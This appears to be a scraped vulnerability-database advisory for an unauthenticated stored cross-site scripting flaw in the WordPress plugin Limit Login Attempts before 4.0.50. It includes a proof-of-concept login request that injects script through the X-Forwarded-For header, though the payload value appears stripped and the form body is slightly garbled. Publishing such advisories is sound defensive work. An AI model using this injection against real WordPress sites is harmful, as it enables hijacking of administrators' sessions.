Lucene search

K
wpvulndbWuzhenyuWPVDB-ID:C789CA04-D88C-4789-8BE1-812888F0C8F8
HistoryAug 23, 2021 - 12:00 a.m.

Limit Login Attempts < 4.0.50 - Unauthenticated Stored Cross-Site Scripting

2021-08-2300:00:00
wuzhenyu
wpscan.com
12
limit login attempts
unauthenticated
stored cross-site scripting
ip addresses
reports table

EPSS

0.002

Percentile

53.3%

The plugin does not escape the IP addresses (which can be controlled by attacker via headers such as X-Forwarded-For) of attempted logins before outputting them in the reports table, leading to an Unauthenticated Stored Cross-Site Scripting issue.

PoC

POST /wp-login.php HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 43 Connection: close Upgrade-Insecure-Requests: 1 X-Forwarded-For: log=aa&pwd;=dd&wp-submit;=Log+In&testcookie;=1 The XSS will be triggered when viewing the report page (/wp-admin/admin.php?page=reports)

EPSS

0.002

Percentile

53.3%

Related for WPVDB-ID:C789CA04-D88C-4789-8BE1-812888F0C8F8